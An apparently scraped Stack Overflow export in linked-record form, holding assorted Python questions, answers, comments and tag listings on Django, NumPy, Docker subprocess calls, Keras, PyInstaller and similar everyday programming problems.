has text: Sample code to the GitHub has more than one file. How do you run all these files? And Flask Framework is compulsory to use? And can you pass arguments to the functions?
comment on: http://stackoverflow.com/a/51466795

http://stackoverflow.com/comment/84470821
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48733237
has text: Thanks, Jezrael. Appreciate the assistance.

http://stackoverflow.com/q/48720943
has comment: http://stackoverflow.com/comment/84440949
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84440956
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84440731
has comment: http://stackoverflow.com/comment/84441005
tagged with: django
has body: I have been trying to create a system for password reset emails. I have been following this tutorial. I am getting this error when I try to visit /password/reset/: django.urls.exceptions.NoReverseMatch: Reverse for 'password_reset_done' not found. 'password_reset_done' is not a valid view function or pattern name. Here are the relevant URL patterns in urls.py: from django.contrib.auth import views as auth_views urlpatterns = [ url(r'^$', auth_views.login, name='login'), url(r'^logout/$', auth_views.logout, name='logout'), url(r'^password/reset/$', auth_views.password_reset, name='reset_password'), url(r'^password/reset/done/$', auth_views.password_reset_done, name='password_reset_done'), url(r'^password/reset/(?P&lt;uidb64&gt;[0-9A-Za-z_\-]+)/(?P&lt;token&gt;[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$', auth_views.password_reset_confirm, name='password_reset_confirm'), url(r'^password/reset/complete/$', auth_views.password_reset_complete, name='password_reset_complete'), ] How do I make this page render correctly?
has title: NoReverseMatch error with password reset emails
type: Question
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84441324
has comment: http://stackoverflow.com/comment/84440737
has comment: http://stackoverflow.com/comment/84440750
has comment: http://stackoverflow.com/comment/84440907
has comment: http://stackoverflow.com/comment/84441275
has comment: http://stackoverflow.com/comment/84441364
tagged with: python
favorite count: 0

http://stackoverflow.com/q/48776902
upvote count: 9
has comment: http://stackoverflow.com/comment/84556687
has comment: http://stackoverflow.com/comment/84556422
has comment: http://stackoverflow.com/comment/84555891
has comment: http://stackoverflow.com/comment/84556152
score: 9
tagged with: numpy
has comment: http://stackoverflow.com/comment/84555950
answer count: 2
tagged with: concatenation
has comment: http://stackoverflow.com/comment/84556920
downvote count: 0
tagged with: sorting
favorite count: 0
has answer: http://stackoverflow.com/a/48776981
has comment: http://stackoverflow.com/comment/84556516
has comment: http://stackoverflow.com/comment/84556567
possible better answer: http://stackoverflow.com/a/48776987
has answer: http://stackoverflow.com/a/48776987
has comment: http://stackoverflow.com/comment/84555597
has comment: http://stackoverflow.com/comment/84555659
tagged with: python
has title: Numpy: Fastest way to insert value into array such that array's in order
has comment: http://stackoverflow.com/comment/132450474
has comment: http://stackoverflow.com/comment/84555914
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84556846
has comment: http://stackoverflow.com/comment/84556064
accepted answer: http://stackoverflow.com/a/48776981
has comment: http://stackoverflow.com/comment/84556709
has comment: http://stackoverflow.com/comment/84555556
has body: Suppose I have an array my_array and a singular value my_val. (Note that my_array is always sorted). my_array = np.array([1, 2, 3, 4, 5]) my_val = 1.5 Because my_val is 1.5, I want to put it in between 1 and 2, giving me the array [1, 1.5, 2, 3, 4, 5]. My question is: What's the fastest way (i.e. in microseconds) of producing the ordered output array as my_array grows arbitrarily large? The original way I though of was concatenating the value to the original array and then sorting: arr_out = np.sort(np.concatenate((my_array, np.array([my_val])))) [ 1. 1.5 2. 3. 4. 5. ] I know that np.concatenate is fast but I'm unsure how np.sort would scale as my_array grows, even given that my_array will always be sorted. Edit: I've compiled the times for the various methods listed at the time an answer was accepted: Input: import timeit timeit_setup = 'import numpy as np\n' \ 'my_array = np.array([i for i in range(1000)], dtype=np.float64)\n' \ 'my_val = 1.5' num_trials = 1000 my_time = timeit.timeit( 'np.sort(np.concatenate((my_array, np.array([my_val]))))', setup=timeit_setup, number=num_trials ) pauls_time = timeit.timeit( 'idx = my_array.searchsorted(my_val)\n' 'np.concatenate((my_array[:idx], [my_val], my_array[idx:]))', setup=timeit_setup, number=num_trials ) sanchit_time = timeit.timeit( 'np.insert(my_array, my_array.searchsorted(my_val), my_val)', setup=timeit_setup, number=num_trials ) print('Times for 1000 repetitions for array of length 1000:') print("My method took {}s".format(my_time)) print("Paul Panzer's method took {}s".format(pauls_time)) print("Sanchit Anand's method took {}s".format(sanchit_time)) Output: Times for 1000 repetitions for array of length 1000: My method took 0.017865657746239747s Paul Panzer's method took 0.005813951002013821s Sanchit Anand's method took 0.014003945532323987s And the same for 100 repetitions for an array of length 1,000,000: Times for 100 repetitions for array of length 1000000: My method took 3.1770704101754195s Paul Panzer's met…
has comment: http://stackoverflow.com/comment/84555531
linked to: http://stackoverflow.com/q/16243955
type: Question
has comment: http://stackoverflow.com/comment/84555500

http://stackoverflow.com/comment/84590274
type: QuestionComment
comment on: http://stackoverflow.com/q/48793892
has text: And is there a way not to use these `mpf`s and still have a decent precision? Or (I suppose this may be almost impossible in my case) avoiding using numpy? Thanks btw.
score: 0
type: Comment

http://stackoverflow.com/a/48723395
answers question: http://stackoverflow.com/q/48722212
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48722212
has body: Drop the -it flags in your call do docker, you don't want them. Also, don't try to send the command to execute into the container via stdin, but just pass the command to run in your call do docker exec. I don't have a container running, so I'll use docker run instead, but the code below should give you a clue: import subprocess cmd = 'docker run python:3.6.4-jessie python -c print("hello")'.split() p = subprocess.Popen(cmd, stdout=subprocess.PIPE) out, err = p.communicate() print(out) This will run python -c print("hello") in the container and capture the output, so the Python (3.6) script will itself print b'hello\n' It will also work in Python 2.7, I don't know which version you're using on the host machine :) Regarding communicating with a subprocess, see the official docs subprocess.Popen.communicate. Since Python 3.5 there's also subprocess.run, which makes your life even easier. HTH!
type: Answer
upvote count: 2
score: 2

http://stackoverflow.com/comment/84527026
type: Comment
type: QuestionComment
has text: @MNewville could you point me in the direction of either creating a superposition of sin(x)^2 with different frequencies and amplitudes or create an envelope function in the form a normal distribution
comment on: http://stackoverflow.com/q/48757467
score: 0

breakout
type: Tag
tag name: breakout
tags question: http://stackoverflow.com/q/48776989

http://stackoverflow.com/comment/84360714
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48681792
has text: `c.execute('SELECT * FROM Logins WHERE password=? AND username=?'(passw,user))` is missing a comma , it should be `c.execute('SELECT * FROM Logins WHERE password=? AND username=?', (passw,user))`
score: 5

http://stackoverflow.com/comment/84560559
comment on: http://stackoverflow.com/a/48779032
type: Comment
has text: How about converting overs to number of balls, and multiplying by 6?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84344746
type: QuestionComment
comment on: http://stackoverflow.com/q/48662040
has text: @bigreddot Fair point. However, I still can't seem to be able to run it, even when I add "from bokeh.plotting import curdoc", substituting my "show(l)" with "curdoc().add_root(l)" and run the server as "bokeh serve --show categories.py". Clues on this?
score: 0
type: Comment

http://stackoverflow.com/a/48727809
answers question: http://stackoverflow.com/q/48727655
score: 0
has body: AndreyS got it right, but you're comparing different types and thus not getting the expected output. Here's a simple example of your game working: import random score = 1000 print "Welcome to this number guessing game!" number = random.randint(1, 50) while True: guess = raw_input("Guess the number between 1 and 50: ") if int(guess) == number: print "You got it right!" print "Your score was:" + str(score) quit() if int(guess) &gt; number: print "Too Big" score = score - 10 if int(guess) &lt; number: print "Too Small" score = score - 10 Notice that I'm casting the guess variable to an integer in order to get the comparisons right.
type: Answer

http://stackoverflow.com/comment/84608323
score: 0
has text: If I were to put these names in a list, shuffle them, and then call `files.sort()`, it gives me exactly what you are asking for.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48802835

http://stackoverflow.com/comment/84528976
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48762672
score: 0
has text: well the final list of points is smaller than the number of grid cells, so certainly some cells are "thrown away" as in "discarded because they are thought to not contain a section of the contour", that's what I mean. My assumption would be that they use some sort of marching squares algorithm, that would answer both my questions, but I can not verify that.

http://stackoverflow.com/q/48750358
tagged with: python
has answer: http://stackoverflow.com/a/50339530
type: UnansweredQuestion
tagged with: machine-learning
tagged with: tensorflow
type: Question
tagged with: keras
has body: I'm implementing an autoencoder in Keras, let's say something like: ... x = Input(shape=(original_dim,)) h = Dense(intermediate_dim, activation='relu')(x) z = Dense(latent_dim)(h) output = Dense(intermediate_dim, activation='sigmoid')(z) ... My goal is to make z behave like an arbitrary distribution, like a Gaussian with zero mean and unit variance. This is a slightly different setting than the classical VAE, because here my latent space is not generating the mean and variance of the distribution, but rather it should generate the distribution itself. A logical solution would be to minimize the KL divergence between z and the custom distribution, but I have no idea how to do this. In pseudo-code, I would need to do something like: def custom_loss(z): my_distribution = ??? return kl_divergence(z, my_distribution) Is this even doable? Would it be possible to use tf.contrib.distributions to achieve this, somehow? Thanks in advance.
has title: KL divergence between hidden layer and arbitrary distribution (Keras/TensorFlow)
score: 0
tagged with: deep-learning
answer count: 1

http://stackoverflow.com/q/48769793
has comment: http://stackoverflow.com/comment/84624152
has comment: http://stackoverflow.com/comment/84770008
has comment: http://stackoverflow.com/comment/84810963
downvote count: 0
answer count: 1
score: 1
tagged with: segmentation-fault
tagged with: pointers
has comment: http://stackoverflow.com/comment/84804512
has answer: http://stackoverflow.com/a/50628260
favorite count: 0
has comment: http://stackoverflow.com/comment/86121784
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84773958
tagged with: python
tagged with: c++
has comment: http://stackoverflow.com/comment/84540534
tagged with: fortran
has comment: http://stackoverflow.com/comment/84615206
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84571218
has body: I have a coupled code (fortran with c++) that I am now calling in python. The main.exe works fine but when I call the coupled version in python I get a Segmentation fault (core dumped) error. I identified the line of the code that gives the problem, and apparently it is cause by a pointer. Here is my function: void emissionPrimSR(pTSysRac sR) { /* Emission de nouveaux axes primaires sur le système racinaire */ pTAxe nouvAxe; int numPrim, nbPrimAEmettre; r3 vInit, dirInit; double angRot,angI; //printf("\n EMISSION PRIM SR : postest0=%lf, postest1=%lf,postest2=%lf\n",postest0, postest1, postest2); nbPrimAEmettre = calcNouvNbPrim() - sR-&gt;nbPrim; /* Nombre de primaires à émettre */ printf("nombre Adv à emettre %d \n",nbPrimAEmettre);//---- TO DO SUPPRIME LLab for ((numPrim=1); (numPrim&lt;=nbPrimAEmettre); (numPrim++)) /* Pour les nouvelles primaires à émettre */ { printf("Je suis dans emissionPrimSR %3i \n",sR-&gt;nbPrim); /* Calcul de la direction initiale de l'axe */ if (sR-&gt;nbPrim==0) angI=tireGaussien(0.0,0.1); // émission de la radicule qui a un gravitropisme initial fort else angI=tireGaussien(P_angInitMoyVertPrim,P_angInitETVertPrim); // angle par rapport à la verticale vInit[0]=sin(angI); vInit[1]=0.0; vInit[2]=cos(angI); angRot=sR-&gt;angDep+tireAngRad(); rotZ(vInit,dirInit,angRot); /* Génération de l'axe et intégration dans le système racinaire */ nouvAxe=initialiseAxe(sR-&gt;nbAxeForm+1,P_diamMax,sR-&gt;origine,dirInit,NULL,NULL,postest0, postest1, postest2); ajouteAxeSR(sR,nouvAxe); sR-&gt;nbPrim++; } } So, this line gives a segmentation fault: nbPrimAEmettre = calcNouvNbPrim() - sR-&gt;nbPrim; The function calcNouvNbPrim() looks like: int calcNouvNbPrim(void){ /* Calcul du nouveau nombre de primaires */ int nouvNbPrim; // CB TEST printf("\n CALC NOUV NB PRIM - TEMPS = %d\n", temps); nouvNbPrim=int (P_vitEmissionPrim*temps); if (nouvNbPrim&gt;=P_nbMaxPrim) nouvNbPrim=P_nbMaxPrim; return nouvNbPrim; } /* Fonction calcNouvNBPrim */ What am I doing wrong…
has title: Coupled fortran/c++ with pointer called in python gives a Segmentation fault (core dumped) error
has comment: http://stackoverflow.com/comment/84624556

logging
tags question: http://stackoverflow.com/q/48745240
tags question: http://stackoverflow.com/q/48748224
tags question: http://stackoverflow.com/q/48783432
tag name: logging
tags question: http://stackoverflow.com/q/48727820
tags question: http://stackoverflow.com/q/48682215
tags question: http://stackoverflow.com/q/48660849
tags question: http://stackoverflow.com/q/48645916
tags question: http://stackoverflow.com/q/48697482
tags question: http://stackoverflow.com/q/48697056
tags question: http://stackoverflow.com/q/48661111
tags question: http://stackoverflow.com/q/48671699
tags question: http://stackoverflow.com/q/48712206
tags question: http://stackoverflow.com/q/48695203
tags question: http://stackoverflow.com/q/48717333
tags question: http://stackoverflow.com/q/48754996
tags question: http://stackoverflow.com/q/48667950
tags question: http://stackoverflow.com/q/48781923
tags question: http://stackoverflow.com/q/48787538
tags question: http://stackoverflow.com/q/48723588
type: Tag

http://stackoverflow.com/comment/84299241
type: QuestionComment
has text: Right, I forgot about that. Then the right explanation is that the *Automatic* backend creates a thread to be able to show graphs in a separate window. And that thread is shown as `python` in your dock. This is necessary to not block the console while you generate the plot, and it's not controlled by Spyder. It's the way Matplotlib works inside IPython.
comment on: http://stackoverflow.com/q/48649779
score: 0
type: Comment

http://stackoverflow.com/a/48664992
has body: First of all, you should use dump() or dump_all(), since you want to write YAML, instead of using load(). You also should also be aware that the CSV reader does return something different on Python 2.7 then e.g. on Python 3.6: on the first you get a list of dict back from csv_dict_list and on the second a list of OrderedDict). That in itself would not be a problem, but PyYAML dumps a dict with the keys sorted, and an ordereddict with a tag. Your proposed YAML is also not valid, as the flow style mapping in the line: key5: {key6: [value6] is not terminated with a } before the end of the document, you also cannot have: key9: value9 - - either use: key9: value9 key10: - - or key9: - value9 - or something similar (there is also no equivalent Python data structure that has both a value and a list for one and the same key, so cannot actually create something like that even in Python). PyYAML additionally lacks the support for indenting your block style sequence. If you do: import yaml print(yaml.dump(dict(x=[dict(a=1, b=2)]), indent=4)) the output will still be flush left: x: - {a: 1, b: 2} To prevent all these problems you will run into when using PyYAML, and to circumvent the differences in Python versions, I recommend you use ruamel.yaml (disclaimer: I am the author of that package), and the following code: import sys import csv import ruamel.yaml Dict = ruamel.yaml.comments.CommentedMap def csv_dict_list(variables_file) : reader=csv.reader(open(variables_file, 'r')) key_list = None dict_list = [] for line in reader: if key_list is None: key_list = line continue d = Dict() for idx, v in enumerate(line): k = key_list[idx] # special handling of key3/key4/key5/key6 if k == key_list[2]: d[k] = [] elif k == key_list[3]: d[key_list[2]].append(Dict([(k, v)])) elif k == key_list[4]: d[key_list[2]][0][k] = dt = Dict() dt.fa.set_flow_style() elif k == key_list[5]: d[key_list[2]][0][key_list[4]][k] = [v] else: d[k] = v dict_list.append(d) return dict_list data = csv_dict_list('te…
type: Answer
has comment: http://stackoverflow.com/comment/84724019
score: 2
accepted answer of: http://stackoverflow.com/q/48653986
has comment: http://stackoverflow.com/comment/84427033
has comment: http://stackoverflow.com/comment/84435702
downvote count: 0
answers question: http://stackoverflow.com/q/48653986
has comment: http://stackoverflow.com/comment/84719924
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/48686633
has body: with SQLalchemy I query my database. I'm able to select all multiple rows / objects with something like this: def selectAllObjects(): objects = session.query(Object).all() However, I want to build a function that checks if there any constraints given and if so incorporates these. So I was thinking along the following lines: def selectAllObjects(attribute1="default",attribute2="default"): if attribute1 != "default" and attribute2 != default: objects = session.query(Object).filter_by(attribute1=attribute1, attribute2=attribute2).all() elif attribute1 != "default": objects = session.query(Object).filter_by(attribute1=attribute1).all() ...etc, etc... As you can see this gets really ugly when the amount of attributes increase. What is the pythonic way to do this?
tagged with: mysql
upvote count: 1
tagged with: sqlalchemy
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48686678
has title: SQLalchemy select all with optional attributes
downvote count: 0
score: 1
favorite count: 0
type: Question
tagged with: python

http://stackoverflow.com/comment/84589360
comment on: http://stackoverflow.com/a/48791810
has text: thx again, Dan. I implemented auto-refresh and it worked. However, that is not a "correct" solution for the long run. Any feedback on Firebase or something else?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/126288765
type: Comment
comment on: http://stackoverflow.com/a/55988352
score: 0
type: AnswerComment
has text: this is the only option if youre using wsl2

http://stackoverflow.com/comment/115335958
score: 1
has text: It's related to conda pm not pip.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/60963603

http://stackoverflow.com/comment/84437422
has text: I added some explanations about `QSpacerItem`'s parameters and added links to the relevant Qt5 documentation pages.
comment on: http://stackoverflow.com/a/48700945
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84403618
has text: As an aside, it’s a good idea to use a dollar at the end of the regex, so that it matches `user/` but not `user/somethingelse`. Change it to `r'user/$'`.
comment on: http://stackoverflow.com/q/48702566
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/q/48731891
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/84462966
has comment: http://stackoverflow.com/comment/84463333
linked to: http://stackoverflow.com/q/27913261
score: 0
answer count: 1
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84463371
has answer: http://stackoverflow.com/a/48732024
accepted answer: http://stackoverflow.com/a/48732024
has body: RandomList = [] def endless(): x = input("x: ") RandomList.append(x) print(RandomList) endless() I want to make a list where Input() gets appended to RandomList, and the numbers gets to stay there for ever even if I close the file. I don't really know whether it can be done or not. Thank you.
tagged with: python
has title: Python, Input-list-append

http://stackoverflow.com/comment/84491448
type: Comment
has text: `np.stack((coordsx, coordsy)).T`, then `[:,0]` is x, `[:,1]` is y.
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/48745623

http://stackoverflow.com/a/48762755
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/48762242
downvote count: 0
score: 1
has body: Comparing the code objects won't do what you want: two different functions will have different code objects. You could compare the bytecode of each function, though, which you can get with co_code: (lambda x:x).__code__.co_code # b'|\x00\x00S' (lambda y:y).__code__.co_code # b'|\x00\x00S' (lambda y:y+1).__code__.co_code # b'|\x00\x00d\x01\x00\x17S' (lambda y:y-1).__code__.co_code # b'|\x00\x00d\x01\x00\x18S' So, your comparisons would give, as expected: (lambda x:x).__code__.co_code == (lambda y:y).__code__.co_code # True (lambda y:y+1).__code__.co_code == (lambda y:y-1).__code__.co_code # False
answers question: http://stackoverflow.com/q/48762242

http://stackoverflow.com/comment/84477669
has text: So all of the imports will be compiled together in the resulting executable?
comment on: http://stackoverflow.com/q/48738971
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84455159
score: 0
comment on: http://stackoverflow.com/q/48728067
has text: It should already be on your system if you can run the original python script. I would try using PyInstaller.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84344289
has text: Interesting thanks. Yeah that's the problem, I'm not (and can't, due to dependencies) using a Bokeh server. Interesting, thanks for the link about extensions. I'll poke around some more
type: Comment
comment on: http://stackoverflow.com/a/48667932
score: 0
type: AnswerComment

threaded-comments
tags question: http://stackoverflow.com/q/48677262
type: Tag
tag name: threaded-comments

http://stackoverflow.com/a/48773934
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48773799
upvote count: 2
has body: You could just do a single loop and check the values during each step and double the list if it only has one element. with open(filename, 'r') as f: data = [] for line in f.readlines(): line = line.rstrip('\n') if not line: continue line_list = [s for s in line.split(';') if s] if not line_list: continue if len(line_list) == 1: line_list *= 2 data.append(line_list)
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48773799

http://stackoverflow.com/q/48680798
answer count: 2
upvote count: 1
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: pyinstaller
tagged with: python
has title: PyPac PyInstaller can't access the internet
downvote count: 0
score: 1
tagged with: proxy-server
tagged with: httprequest
type: Question
has answer: http://stackoverflow.com/a/49022055
has answer: http://stackoverflow.com/a/54402019
has body: I've got a program that access the Internet via a proxy server and I'm using PyPac's PACSession for the session. This works fine when I'm calling the program with python. However, compiling it with pyinstaller gives me an error. Test program: import sys import os from pypac import PACSession from requests.auth import HTTPProxyAuth import getpass import keyring url = r'https://leilookup.gleif.org/api/v1/leirecords?lei=' lei_list = ['I9O8MELCUVOTLJABOX92', '5493004NRE4TCTRC2D29', 'VBHFXSYT7OG62HNT8T76', '529900M2YBAPOUTTM178', '549300KJFL0KHN20KH82', '0NTV4GLMGXKW55GJC835'] def main(): lei_numbers = ",".join(lei_list) internet = 'gleif.org' password = keyring.get_password(internet, getpass.getuser()) if not password: keyring.set_password(internet, getpass.getuser(), getpass.getpass('Please enter your Login password: ')) print('Before PACSession') session = PACSession(proxy_auth=HTTPProxyAuth(getpass.getuser(), keyring.get_password(internet, getpass.getuser()))) page = session.get(url=url + lei_numbers) json = page.json() for ix in range(len(json)): print(json[ix]['LEI']['$'] + ': ' + json[ix]['Entity']['LegalName']['$']) return 0 if __name__ == "__main__": sys.exit(main()) Versions: Windows 7 python 3.6.3 pypack 0.5.0 pyinstaller 3.3 requests 2.18.4 tld 0.7.9; Errors: Traceback (most recent call last): File "site-packages\tld\utils.py", line 117, in get_tld_names File "c:\python36\lib\codecs.py", line 895, in open file = builtins.open(filename, mode, buffering) FileNotFoundError: [Errno 2] No such file or directory: '...\\AppData\\Local\\Temp\\_MEI299882\\tld\\res\\effective_t ld_names.dat.txt' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "urllib\request.py", line 1318, in do_open File "http\client.py", line 1239, in request File "http\client.py", line 1285, in _send_request File "http\client.py", line 1234, in endheaders File "http\client.py", line 1026, in _send_output File "http\client.py", line 964, in…

http://stackoverflow.com/comment/84556736
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48715812
has text: @Dlamini contd: So in order to choose when to calibrate the sensor we need to find the time period when water is least used say like 3 am no one going to use so calibrate during that period. Right now I am in the design phase so I thought someone points me in the right direction which algorithm can be used. I am looking for more theoretical answer rather than a code because if understand the algorithm I can code it.
score: 0

http://stackoverflow.com/q/48727027
tagged with: python
has body: Even though the syntax all seems correct I'm still thrown an output error, any reason why it throws this on the output? (please ignore my bad indentation). import zipfile myZip = zipfile.ZipFile("/mydile.zip") count = 0 for x in range(0,1005310): password = count count += 1 try: myZip.extractall(pwd = password) print(password) except Exception as e: print(e) print "Sorry, password not found."
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/zip
upvote count: 3
type: Question
has comment: http://stackoverflow.com/comment/84453230
score: 3
has title: 'int' object is not iterable python brute force password
has answer: http://stackoverflow.com/a/48727056
linked to: http://stackoverflow.com/q/7001144
tagged with: for-loop
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84453034
favorite count: 0
tagged with: brute-force
accepted answer: http://stackoverflow.com/a/48727056

http://stackoverflow.com/comment/84433024
type: QuestionComment
has text: Alright, @user8028576. Sorry about the wait, my answers up though.
comment on: http://stackoverflow.com/q/48716658
score: 0
type: Comment

http://stackoverflow.com/comment/84473479
comment on: http://stackoverflow.com/q/48736697
score: 0
type: Comment
type: QuestionComment
has text: @jp_data_analysis I find chained operation makes code more organised. See one of Pandas developer's blog https://tomaugspurger.github.io/method-chaining

http://stackoverflow.com/a/48694802
downvote count: 0
score: 1
has body: An example of adding a function, and a button to call it, to one of the classes (PageOne), but you should be able to figure this out for yourself. import tkinter as tk from functools import partial class SampleApp(): def __init__(self, root): self.root=root self.button_dict={} self.frame_dict={} self.create_buttons() self.start_page_frame() for classname, lit in [(PageOne, "PageOne"), (PageTwo, "PageTwo")]: instance=classname(root) self.frame_dict[lit]=instance.page_frame def button_press(self, button_id): print(button_id) ## deselect current frame's button, and activate all others for key in self.button_dict: if key==button_id: self.button_dict[key].config(state="disabled") else: self.button_dict[key].config(state="normal") ## raise the frame corresponding to the button clicked self.frame_dict[button_id].lift() def create_buttons(self): """ you can also use a simple for() to create these """ self.button_frame=tk.Frame(self.root) self.button_frame.grid(row=10, column=0) button0 = tk.Button(self.button_frame, text="Go to Start Page", bg="lightblue", width=15, command=partial(self.button_press, "StartPage")) button0.grid(row=0, column=0, sticky="ew") self.button_dict["StartPage"]=button0 button1 = tk.Button(self.button_frame, text="Go to Page One", bg="yellow", width=15, command=partial(self.button_press, "PageOne")) button1.grid(row=0, column=1, sticky="ew") self.button_dict["PageOne"]=button1 button2 = tk.Button(self.button_frame, text="Go to Page two", bg="lightgreen", width=15, command=partial(self.button_press, "PageTwo")) button2.grid(row=0, column=2, sticky="ew") self.button_dict["PageTwo"]=button2 button2.config(state="disabled") button_quit = tk.Button(self.button_frame, text="Exit", bg="orange", command=self.root.quit) button_quit.grid(row=5, column=0, columnspan=3, sticky="ewns") def start_page_frame(self): start_frame=tk.Frame(self.root, width=25, height=25) tk.Label(start_frame, width=24, bg="lightblue", text="This is the start page").grid(row=0, column=0…
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/48654409
has comment: http://stackoverflow.com/comment/84439224

http://stackoverflow.com/comment/84751887
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48773821
has text: I do not know why this code take long time ,please read my problem in this link https://stackoverflow.com/questions/48785060/convert-sparql-query-to-sql-query-in-pyspark-dataframe
type: AnswerComment

http://stackoverflow.com/comment/84412315
comment on: http://stackoverflow.com/q/48706927
type: QuestionComment
has text: Please paste the complete error message.
type: Comment
score: 1

http://stackoverflow.com/q/48704105
tagged with: python
upvote count: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48707444
downvote count: 0
type: Question
has title: Is there anyway to get a callback after every insert/delete on Google Cloud Datastore?
has answer: http://stackoverflow.com/a/48707444
tagged with: app-engine-flexible
score: 4
tagged with: google-cloud-datastore
answer count: 1
has body: I would like to sync my Cloud Datastore contents with an index in ElasticSearch. I would like for the ES index to always be up to date with the contents of Datastore. I noticed that an equivalent mechanism is available in the Appengine Python Standard Environment by implementing a _post_put_hook method in a Datastore Model. This doesn't seem to be possible however using the google-cloud-datastore library available for use in the flex environment. Is there any way to receive a callback after every insert? Or will I have to put up a "proxy" API in front of the datastore API which will update my ES index after every insert/delete?
favorite count: 0
tagged with: google-app-engine

http://stackoverflow.com/q/48700137
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: orm
tagged with: mysql
tagged with: django
type: Question
has body: Please help translate this SQL query to Django ORM query. select l.* from products l inner join products r on l.category = r.category where r.id = %s Please note that category is itself a ForeignKey that points to ProductCategory Model (telling in case it's useful for you). Also, if possible combine this with this ORM query. Product.objects.prefetch_related('productrecipes', 'farmerprofiles', 'productfeedbacks') Please help. Thank you.
has answer: http://stackoverflow.com/a/48700249
accepted answer: http://stackoverflow.com/a/48700249
upvote count: 1
answer count: 1
has title: Django ORM - Translate this self join query to ORM
favorite count: 0
tagged with: python

http://stackoverflow.com/q/48789751
has answer: http://stackoverflow.com/a/75205536
has title: Set map boundary and stop endless panning in a loop of Folium map
score: 4
answer count: 3
has comment: http://stackoverflow.com/comment/84588276
has comment: http://stackoverflow.com/comment/105601619
favorite count: 0
has answer: http://stackoverflow.com/a/60430408
type: UnansweredQuestion
tagged with: python
upvote count: 4
tagged with: folium
has body: This is my folium code: import folium mp = folium.Map(location=[37, -102], zoom_start=1, tiles="Stamen Terrain", ) display(mp) This is the output I get: There are two problems with leaflet map: The continents are displayed 2 times or more in a loop. The map can be panned endlessly from left to right or vice-versa, in a loop. Both of these are nuisance. The first issue can be addressed temporarily by setting the zoom_start to something else than 1. But even then, zooming out of the map bring this issue back again. The less said about the second one the better. Now what I want is to limit the boundary of my map to, say, [-150, 150, -70, 70] or smaller. And I don't want to display beyond this bound, either by panning or zooming. Neither do I want my map to pan infinitely in a loop. Is it possible to do that in Folium?
downvote count: 0
linked to: http://stackoverflow.com/q/22155017
type: Question
has answer: http://stackoverflow.com/a/49065522
tagged with: leaflet

http://stackoverflow.com/a/49714214
has body: I believe this recursive solution has the time complexity you desire. Rather than passing down a dict, we pass down a list of the item pairs. We also pass down start_idx, which tells the 'lower' recursive function calls to ignore earlier elements. This fixes the out-of-order problem of the other recursive answer. def _combos(elements, start_idx, length): # ignore elements before start_idx for i in range(start_idx, len(elements)): elem, count = elements[i] if count == 0: continue # base case: only one element needed if length == 1: yield (elem,) else: # need more than one elem: mutate the list and recurse elements[i] = (elem, count - 1) # when we recurse, we ignore elements before this one # this ensures we find combinations, not permutations for combo in _combos(elements, i, length - 1): yield (elem,) + combo # fix the list elements[i] = (elem, count) def combos(elements, length): elements = list(elements.items()) return _combos(elements, 0, length) print(list(combos({'a': 2, 'b': 3}, 3))) # [('a', 'a', 'b'), ('a', 'b', 'b'), ('b', 'b', 'b')] As an bonus, profiling shows it's more performant than the set(itertools.combinations(_)) solution as the input size grows. print(timeit.Timer("list(combos({'a': 2, 'b': 2, 'c': 2}, 3))", setup="from __main__ import combos").timeit()) # 9.647649317979813 print(timeit.Timer("set(itertools.combinations(['a'] * 2 + ['b'] * 2 + ['c'] * 2, 3))").timeit()) # 1.7750148189952597 print(timeit.Timer("list(combos({'a': 4, 'b': 4, 'c': 4}, 4))", setup="from __main__ import combos").timeit()) # 20.669851204031147 print(timeit.Timer("set(itertools.combinations(['a'] * 4 + ['b'] * 4 + ['c'] * 4, 4))").timeit()) # 28.194088937016204 print(timeit.Timer("list(combos({'a': 5, 'b': 5, 'c': 5}, 5))", setup="from __main__ import combos").timeit()) # 36.4631432640017 print(timeit.Timer("set(itertools.combinations(['a'] * 5 + ['b'] * 5 + ['c'] * 5, 5))").timeit()) # 177.29063899395987
type: Answer
score: 0
answers question: http://stackoverflow.com/q/48721368

http://stackoverflow.com/a/48751905
answers question: http://stackoverflow.com/q/48751383
type: Answer
score: 2
downvote count: 0
has body: You can do this using str.format() method as below: float_ = 1976.25 print('${:.2f}'.format(float_)) The parameter .2f forces format method to show only two decimals after the point. You could show the commas representing thousands with a little change: print('${:,.2f}'.format(float_))
upvote count: 2
has comment: http://stackoverflow.com/comment/84505895

http://stackoverflow.com/comment/84457430
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48729015
